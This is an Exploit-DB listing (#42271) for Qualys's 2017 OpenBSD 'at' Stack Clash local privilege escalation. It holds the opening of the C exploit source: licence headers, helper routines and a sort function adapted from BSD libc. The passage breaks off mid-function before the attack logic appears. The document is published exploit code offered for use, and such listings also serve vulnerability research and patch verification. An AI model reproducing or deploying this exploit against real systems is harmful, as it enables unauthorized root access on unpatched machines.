Exploit-DB #42271
Description: OpenBSD - 'at Stack Clash' Local Privilege Escalation
Type: local
Platform: openbsd
Date: 2017-06-28
Author: Qualys Corporation

Exploit:
/*
 * OpenBSD_at.c for CVE-2[PII_REDACTED]
 * Copyright (c) 2017  Qualys, Inc.
 * slowsort() adapted from lib/libc/stdlib/qsort.c:
 *
 * Copyright (c) 1992, 1993
 *      The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
 *  OpenBSD_at.c for CVE-2[PII_REDACTED]
 *  Copyright (C) 2017  Qualys, Inc.
 *  ttime() adapted from usr.bin/at/at.c:
 *
 *  at.c : Put file into atrun queue
 *  Copyright (C) 1993, 1994  Thomas Koenig
 *
 *  Atrun & Atq modifications
 *  Copyright (C) 1993  David Parsons
 *
 *  Traditional BSD behavior and other significant modifications
 *  Copyright (C) 2002-2003  Todd C. Miller
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. The name of the author(s) may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include <ctype.h>
#include <dirent.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

static const char *
u64tostr(uint64_t u64)
{
    static char str[64];
    char * cp = str + sizeof(str);
    *--cp = '\0';
    do {
        if (cp <= str) _exit(__LINE__);
        *--cp = '0' + (u64 % 10);
    } while (u64 /= 10);
    return cp;
}

#define die() do { \
    const char * const str = u64tostr(__LINE__); \
    const size_t len = strlen(str); \
    write(STDERR_FILENO, "\n[", 2); \
    write(STDERR_FILENO, str, len); \
    write(STDERR_FILENO, "]\n", 2); \
    _exit(EXIT_FAILURE); \
} while (0)

static __inline char    *med3(char *, char *, char *, int (*)(const void *, const void *));
static __inline void     swapfunc(char *, char *, size_t, int);

/*
 * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
 */
#define swapcode(TYPE, parmi, parmj, n) {               \
        size_t i = (n) / sizeof (TYPE);                 \
        TYPE *pi = (TYPE *) (parmi);                    \
        TYPE *pj = (TYPE *) (parmj);                    \
        do {                                            \
                TYPE    t = *pi;                        \
                *pi++ = *pj;                            \
                *pj++ = t;                              \
        } while (--i > 0);                              \
}

#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
        es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;

static __inline void
swapfunc(char *a, char *b, size_t n, int swaptype)
{
        if (swaptype <= 1)
                swapcode(long, a, b, n)
        else
                swapcode(char, a, b, n)
}

#define swap(a, b)                                      \
        if (swaptype == 0) {                            \
                long t = *(long *)(a);                  \
                *(long *)(a) = *(long *)(b);            \
                *(long *)(b) = t;                       \
        } else                                          \
                swapfunc(a, b, es, swaptype)

#define vecswap(a, b, n)        if ((n) > 0) swapfunc(a, b, n, swaptype)

static __inline char *
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
{
        return cmp(a, b) < 0 ?
               (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))